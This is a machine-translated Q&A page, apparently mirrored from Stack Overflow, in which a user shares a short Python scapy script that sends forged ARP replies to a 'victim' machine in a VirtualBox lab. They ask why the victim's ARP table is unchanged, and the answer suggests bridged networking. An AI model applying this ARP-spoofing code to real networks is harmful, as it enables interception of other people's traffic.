简体   繁体   English

为什么在使用 arp 欺骗时受害者机器的 mac 地址永远不会改变?

[英]Why the mac address of the victim machine never changes when using arp spoofing?

import scapy.all as scapy 
victim_mac = '52:54:00:12:35:02'
victim_ip = '10.0.2.2'
hacker_mac = '08:00:27:22:46:4f'
hacker_ip = '10.0.2.15'    
arp_packet = scapy.ARP(op=2, hwdst=victim_mac, pdst=victim_ip, hwsrc=hacker_mac, psrc=hacker_ip)
scapy.sendp(arp_packet)

Result:结果:

Sent 1 packet

but the problem is the mac address of the victim machine doesn't change where is the problem?但问题是受害者机器的mac地址没有改变问题在哪里?

if i go to check the victim interface details nothing changed如果我用 go 检查受害者接口详细信息没有任何改变

victim interface details:受害者接口细节:

Internet Address              Physical Address
10.0.2.2                     52:54:00:12:35:02

Change the NAT network in virtualbox to bridge network that's the solution for this error将virtualbox中的NAT网络更改为桥接网络,这是解决此错误的方法

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM